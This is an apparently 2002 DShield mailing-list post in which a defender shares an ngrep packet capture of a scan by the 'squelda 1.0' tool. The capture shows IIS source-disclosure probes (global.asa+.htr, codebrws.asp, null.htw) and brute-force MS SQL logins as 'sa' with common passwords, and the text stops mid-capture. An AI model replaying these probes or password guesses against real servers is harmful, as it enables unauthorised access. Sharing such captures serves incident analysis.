[Dshield] TCP:80, TCP:1433 squelda 1.0 probe

John Sage jsage at finchhaven.com
Fri Nov 29 05:32:28 GMT 2002


Seen this exact tool once before, back in August, reference:

http://cert.uni-stuttgart.de/archive/intrusions/2002/08/msg00200.html


[toot at sparky ~]# host 80.13.253.117
 117.253.13.80.in-addr.arpa. domain name pointer
   ASte-Genev-Bois-104-1-5-117.abo.wanadoo.fr


ngrep -ext -I "snort-1128 at 1454.log" "" "src host 80.13.253.117"


input: snort-1128 at 1454.log
filter: ip and ( src host 80.13.253.117 )
#
T 2002/11/28 16:36:36.748995 80.13.253.117:3282 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:37.148992 80.13.253.117:3282 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:37.159033 80.13.253.117:3282 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:37.179025 80.13.253.117:3293 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:37.599096 80.13.253.117:3293 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:37.629139 80.13.253.117:3293 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 67 6c 6f    62 61 6c 2e 61 73 61 2b    GET /global.asa+
  2e 68 74 72 20 48 54 54    50 2f 31 2e 31 0d 0a 48    .htr HTTP/1.1..H
  6f 73 74 3a 20 31 32 2e    38 32 2e 31 32 39 2e 31    ost: 12.82.129.1
  31 39 0d 0a 0d 0a 0d 0a                               19......        
#
T 2002/11/28 16:36:37.629222 80.13.253.117:3282 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:38.029119 80.13.253.117:3293 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.049128 80.13.253.117:3293 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:38.109114 80.13.253.117:3314 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:38.469237 80.13.253.117:3314 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.499255 80.13.253.117:3314 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 67 6c 6f    62 61 6c 2e 61 73 61 5c    GET /global.asa\
  20 48 54 54 50 2f 31 2e    31 0d 0a 48 6f 73 74 3a     HTTP/1.1..Host:
  20 31 32 2e 38 32 2e 31    32 39 2e 31 31 39 0d 0a     12.82.129.119..
  54 72 61 6e 73 6c 61 74    65 3a 20 66 0d 0a 0d 0a    Translate: f....
#
T 2002/11/28 16:36:38.899219 80.13.253.117:3314 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.919217 80.13.253.117:3314 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:38.929234 80.13.253.117:3334 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:39.279246 80.13.253.117:3334 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:39.299344 80.13.253.117:3334 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 67 6c 6f    62 61 6c 2e 61 73 61 3f    GET /global.asa?
  2b 2e 68 74 72 5c 20 5c    20 48 54 54 50 2f 31 2e    +.htr\ \ HTTP/1.
  31 0d 0a 48 6f 73 74 3a    20 31 32 2e 38 32 2e 31    1..Host: 12.82.1
  32 39 2e 31 31 39 0d 0a    54 72 61 6e 73 6c 61 74    29.119..Translat
  65 3a 20 66 0d 0a 0d 0a                               e: f....        
#
T 2002/11/28 16:36:39.779323 80.13.253.117:3334 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:39.799339 80.13.253.117:3334 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:39.879310 80.13.253.117:3360 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:40.229377 80.13.253.117:3360 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:40.249432 80.13.253.117:3360 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 67 6c 6f    62 61 6c 2e 61 73 61 3f    GET /global.asa?
  2b 2e 68 74 72 20 72 20    48 54 54 50 2f 31 2e 31    +.htr r HTTP/1.1
  0d 0a 48 6f 73 74 3a 20    31 32 2e 38 32 2e 31 32    ..Host: 12.82.12
  39 2e 31 31 39 0d 0a 0d    0a 0d 0a                   9.119......     
#
T 2002/11/28 16:36:40.659416 80.13.253.117:3360 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:40.679411 80.13.253.117:3360 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:40.689424 80.13.253.117:3377 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:41.049387 80.13.253.117:3377 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.089543 80.13.253.117:3377 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 69 69 73    73 61 6d 70 6c 65 73 2f    GET /iissamples/
  65 78 61 69 72 2f 68 6f    77 69 74 77 6f 72 6b 73    exair/howitworks
  2f 63 6f 64 65 62 72 77    73 2e 61 73 70 3f 73 6f    /codebrws.asp?so
  75 72 63 65 3d 2f 6c 6f    67 69 6e 2e 61 73 70 20    urce=/login.asp 
  48 54 54 50 2f 31 2e 31    0d 0a 48 6f 73 74 3a 20    HTTP/1.1..Host: 
  31 32 2e 38 32 2e 31 32    39 2e 31 31 39 0d 0a 0d    12.82.129.119...
  0a                                                    .               
#
T 2002/11/28 16:36:41.489522 80.13.253.117:3377 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.499560 80.13.253.117:3377 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:41.519506 80.13.253.117:3399 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:41.859548 80.13.253.117:3399 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.899644 80.13.253.117:3399 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 69 69 73    73 61 6d 70 6c 65 73 2f    GET /iissamples/
  65 78 61 69 72 2f 68 6f    77 69 74 77 6f 72 6b 73    exair/howitworks
  2f 63 6f 64 65 62 72 77    73 2e 61 73 70 3f 73 6f    /codebrws.asp?so
  75 72 63 65 3d 2f 69 6e    64 65 78 2e 61 73 70 20    urce=/index.asp 
  48 54 54 50 2f 31 2e 31    0d 0a 48 6f 73 74 3a 20    HTTP/1.1..Host: 
  31 32 2e 38 32 2e 31 32    39 2e 31 31 39 0d 0a 0d    12.82.129.119...
  0a                                                    .               
#
T 2002/11/28 16:36:42.239564 80.13.253.117:3399 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:42.259566 80.13.253.117:3399 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:42.269578 80.13.253.117:3416 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:42.709590 80.13.253.117:3416 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:42.719651 80.13.253.117:3416 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 4c 69 6e    75 78 2e 69 64 61 20 48    GET /Linux.ida H
  54 54 50 2f 31 2e 31 0d    0a 48 6f 73 74 3a 20 31    TTP/1.1..Host: 1
  32 2e 38 32 2e 31 32 39    2e 31 31 39 0d 0a 0d 0a    2.82.129.119....
#
T 2002/11/28 16:36:43.139622 80.13.253.117:3416 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.159636 80.13.253.117:3416 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:43.169673 80.13.253.117:3438 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:43.519712 80.13.253.117:3438 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.559913 80.13.253.117:3438 -> 12.82.129.119:80 [AP]
  47 45 54 20 2f 6e 75 6c    6c 2e 68 74 77 3f 43 69    GET /null.htw?Ci
  57 65 62 48 69 74 73 46    69 6c 65 3d 2f 67 6c 6f    WebHitsFile=/glo
  62 61 6c 2e 61 73 61 20    26 43 69 52 65 73 74 72    bal.asa &CiRestr
  69 63 74 69 6f 6e 3d 6e    6f 6e 65 26 43 69 48 69    iction=none&CiHi
  6c 69 74 65 54 79 70 65    3d 46 75 6c 6c 20 6c 20    liteType=Full l 
  48 54 54 50 2f 31 2e 31    0d 0a 48 6f 73 74 3a 20    HTTP/1.1..Host: 
  31 32 2e 38 32 2e 31 32    39 2e 31 31 39 0d 0a 0d    12.82.129.119...
  0a 0d 0a                                              ...             
#
T 2002/11/28 16:36:43.929729 80.13.253.117:3438 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.949712 80.13.253.117:3438 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:43.949770 80.13.253.117:3460 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:44.349843 80.13.253.117:3460 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:44.489831 80.13.253.117:3460 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:44.849814 80.13.253.117:3460 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:44.919837 80.13.253.117:3460 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:44.939825 80.13.253.117:3460 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:44.949836 80.13.253.117:3483 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:45.359918 80.13.253.117:3483 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:45.489934 80.13.253.117:3483 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 31 32    33 00 00 00 00 00 00 00    ......123.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 03 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 03 31 32 33 00    00 00 00 00 00 00 00 00    ....123.........
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:45.899947 80.13.253.117:3483 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:45.910058 80.13.253.117:3483 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:45.910107 80.13.253.117:3483 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:46.890039 80.13.253.117:3536 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:47.240041 80.13.253.117:3536 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:47.360147 80.13.253.117:3536 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 31 32    33 34 35 00 00 00 00 00    ......12345.....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 05 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 05 31 32 33 34    35 00 00 00 00 00 00 00    ....12345.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:47.720108 80.13.253.117:3536 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:47.760252 80.13.253.117:3536 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:47.780141 80.13.253.117:3536 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:47.790148 80.13.253.117:3566 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:48.210146 80.13.253.117:3566 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:48.340201 80.13.253.117:3566 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 38 38    38 38 38 38 00 00 00 00    ......888888....
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 06 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 06 38 38 38 38    38 38 00 00 00 00 00 00    ....888888......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:48.760234 80.13.253.117:3566 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:48.760268 80.13.253.117:3566 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:48.770280 80.13.253.117:3566 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:48.780246 80.13.253.117:3592 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:49.140255 80.13.253.117:3592 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:49.270273 80.13.253.117:3592 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 61 62    63 64 00 00 00 00 00 00    ......abcd......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 04 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 04 61 62 63 64    00 00 00 00 00 00 00 00    ....abcd........
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:49.630328 80.13.253.117:3592 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:49.640365 80.13.253.117:3592 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:49.660317 80.13.253.117:3592 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:49.670312 80.13.253.117:3617 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:50.010304 80.13.253.117:3617 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:50.130328 80.13.253.117:3617 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 70 61    73 73 00 00 00 00 00 00    ......pass......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 04 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 04 70 61 73 73    00 00 00 00 00 00 00 00    ....pass........
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 04 02 00 00 4d 53    44 42 4c 49 42 00 00 00    ......MSDBLIB...
  07 06 00 00 00 00 0d 11    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
#
T 2002/11/28 16:36:50.490405 80.13.253.117:3617 -> 12.82.129.119:1433 [AP]
  02 01 00 4c 00 00 03 00    00 00 00 00 00 00 00 01    ...L............
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 30 30 30    .............000
  00 00 03 00 00 00 00 00    00 00 00 00 00             .............   
#
T 2002/11/28 16:36:50.490439 80.13.253.117:3617 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:50.500472 80.13.253.117:3617 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:50.510446 80.13.253.117:3636 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:50.890461 80.13.253.117:3636 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.010456 80.13.253.117:3636 -> 12.82.129.119:1433 [AP]
  02 00 02 00 00 00 02 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 73    61 00 00 00 00 00 00 00    .......sa.......
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 02 69 6e    74 65 72 6e 65 74 00 00    ......internet..
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 08 30 30 30    30 30 30 61 30 00 00 00    .....000000a0...
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 20 18    .............. .
  81 b8 2c 08 03 01 06 0a    09 01 01 00 00 00 00 00    ..,.............
  00 00 00 00 73 71 75 65    6c 64 61 20 31 2e 30 00    ....squelda 1.0.
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 0b 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
